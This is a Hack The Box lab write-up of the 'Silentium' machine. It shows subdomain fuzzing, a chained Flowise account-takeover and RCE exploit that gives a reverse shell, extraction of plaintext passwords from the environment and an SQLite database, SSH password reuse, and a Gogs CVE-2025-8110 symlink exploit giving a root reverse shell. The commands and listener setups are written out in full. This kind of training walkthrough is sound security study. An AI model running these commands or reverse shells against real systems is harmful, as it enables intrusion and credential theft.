shreekara@sneaky69:~/writeups/silentium$
$catsilentium.md

HTB Write-Up: Silentium

PlatformHack The Box
DifficultyMedium
OSLinux
Authorshreekara
DateMay 30, 2026
Sourcegithub.com/ShreekaraKedlaya/Hackthebox-writeups

Table of Contents

1. Reconnaissance
2. Enumeration — Subdomain Discovery & Flowise Fingerprinting
3. Initial Access — CVE-2025-58434 & CVE-2025-59528 (Flowise RCE)
4. Lateral Movement — Credential Extraction & SSH Access
5. Privilege Escalation — Gogs CVE-2025-8110 (RCE as Root)
6. Summary & Takeaways

1. Reconnaissance

Target: 10.129.6.254. Started with the usual full scan:

$sudo nmap-sV -sC -O -T4 10.129.6.254
PortServiceDetails
22SSHOpenSSH 9.6p1 (Ubuntu)
80HTTPnginx 1.24.0 — redirects to silentium.htb

Two ports, and the HTTP one didn't even try to hide where it wanted to send me. Added the hostname straight away:

$echo"10.129.6.254 silentium.htb" | sudo tee -a /etc/hosts

2. Enumeration — Subdomain Discovery & Flowise Fingerprinting

2.1 — Web Application

The main site is a basic financial institution landing page. The Institutional Leadership section leaks a handful of names — worth keeping around as potential usernames later. Nothing else stood out, so I ran directory enumeration:

$gobuster dir-u http://silentium.htb -w directory-list-2.3-medium.txt

Hit a soft-404 problem — the server returns 200 for everything with a body size of 8753. Excluded that and re-ran, still nothing useful. Pivoted to subdomain fuzzing instead. First checked the baseline response size for a subdomain that shouldn't exist:

$curl-I -H "Host: this-does-not-exist.silentium.htb" http://silentium.htb

Default size came back as 178. Used that to filter ffuf:

$ffuf-w subdomains-top1million-110000.txt -u http://silentium.htb -H "Host: FUZZ.silentium.htb" -fs 178

One subdomain came back: staging. Added it to /etc/hosts and went to look.

2.2 — staging.silentium.htb

A login form, no registration option. The forgot-password feature responds differently depending on whether the email exists or not — a classic user enumeration bug. Tried the names pulled from the leadership section with @silentium.htb, and ben@silentium.htb came back valid.

2.3 — Identifying Flowise

Hit the login endpoint directly to grab response headers:

$curl-s -X POST http://staging.silentium.htb/login -d '{"email":"ben@silentium.htb","password":"wrong"}' -v

The response title gave it away: Flowise, an open-source AI agent builder. Grabbed the version from its API:

$curlhttp://staging.silentium.htb/api/v1/version
Flowise 3.0.5

Time to go looking for CVEs against that version.


3. Initial Access — CVE-2025-58434 & CVE-2025-59528 (Flowise RCE)

3.1 — Two CVEs That Chain Together

Flowise 3.0.5 is hit by two separate CVEs that combine nicely: CVE-2025-58434, an unauthenticated account takeover, and CVE-2025-59528, an authenticated RCE via JavaScript injection into the mcpserverconfig parameter of the CustomMCP node. The first gets you auth, the second gets you a shell.

3.2 — Exploitation

Found a public PoC that chains both CVEs together:

$git cloneCVE-2025-58434-AND-59528-POC.git
$nc-lvnp 4444
$python3main.py -u http://staging.silentium.htb -e ben@silentium.htb --lhost 10.10.16.194 --lport 4444
Shell landed. Running as node.

4. Lateral Movement — Credential Extraction & SSH Access

4.1 — Exploring the Filesystem

Nothing in /home/node, but a directory at the root level caught my eye:

$ls/root/.flowise
database.sqlite · encryption.key · uploads/
$sqlite3/root/.flowise/database.sqlite ".tables"

Pulled the users table — ben's bcrypt hash plus an API key came back. Kicked off hashcat while continuing to poke around:

$hashcat-m 3200 hash.txt rockyou.txt

4.2 — Environment Variables

While hashcat chewed on the hash in the background, checked env and two passwords jumped out immediately:

FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge

Tried F1l3_d0ck3r on SSH and on staging login — no luck either way. Nmap hadn't shown SMTP exposed externally, so the SMTP password looked like a strong candidate for reuse elsewhere.

4.3 — SSH as ben

$sshben@10.129.6.254
Password: r04D!!_R4ge · logged in without issue.

User flag at /home/ben/user.txt.


5. Privilege Escalation — Gogs CVE-2025-8110 (RCE as Root)

5.1 — Internal Port Enumeration

$ss-tlnp

Curled the internal-only ports to fingerprint them. Port 3001 returned HTML with Gogs metadata — a self-hosted Git service — and the og:url tag leaked the internal hostname: staging-v2-code.dev.silentium.htb:3001. Port 8025 turned out to be Mailhog's web UI, nothing useful there.

5.2 — Accessing Gogs

$ssh-L 3001:127.0.0.1:3001 ben@10.129.6.254

Ben's listed as a Gogs user but none of the known passwords worked, and forgot-password is disabled. Registered a throwaway account to keep looking — no public repos visible anywhere.

5.3 — Gogs Config & Version

$cat/opt/gogs/gogs/custom/conf/app.ini
RUN_USER = root
SECRET_KEY = sdsrcxSm0iC7wDO

Gogs running as root — any RCE through it is a direct line to root. Checked the version:

$/opt/gogs/gogs/gogs--version
Gogs 0.13.3 — vulnerable to CVE-2025-8110

5.4 — CVE-2025-8110 (Gogs RCE)

This one works by creating a repo with a malicious symlink pointing at .git/config, then overwriting it via the API with a malicious sshCommand payload. When Gogs processes the repo over SSH, it executes the command. Used a modified PoC that skips registration entirely (captcha's enabled) and reuses the dummy account instead:

$nc-lvnp 9001
$python3CVE-2025-8110.py -u http://127.0.0.1:3001 -lh 10.10.16.194 -lp 9001 -un <dummy> -pw <dummy>
Shell came back as root.

Root flag at /root/root.txt.


6. Summary & Takeaways

Attack Chain

PhaseTechniqueResult
Reconnmap -sV -sCPorts 22, 80 → nginx redirect
Enumerationffuf subdomain fuzzingstaging.silentium.htb found
FingerprintingResponse headers + /api/v1/versionFlowise 3.0.5 identified
Initial AccessCVE-2025-58434 + CVE-2025-59528 chainedShell as node
Credential ExtractionSQLite DB + env dumpSMTP_PASSWORD reused for SSH
Lateral MovementSSH password reuseShell as ben + user flag
Internal Reconss -tlnp + curl internal portsGogs on 3001, running as root
Privilege EscalationCVE-2025-8110 via SSH tunnel + dummy accountRoot shell + root flag

What I Took Away From This Box

The main domain was a dead end on purpose, and everything real was sitting on a subdomain I only found by fuzzing. I almost stopped after the directory brute-force came up empty — worth remembering that a quiet root domain doesn't mean a quiet target.

The forgot-password oracle handing me a confirmed username for free was a nice reminder that verbose auth error handling is still a common miss, even on things that look otherwise solid. And the env dump giving up two plaintext passwords was almost too easy — one of them just happened to be reused on SSH.

The real lesson was at the end though: once I had a low-priv shell and found Gogs internally with RUN_USER = root sitting in its config, it was just a matter of matching the version to a CVE. Any internal service running as root turns a foothold into a root shell the moment there's a public exploit for it.

< cd ~/writeups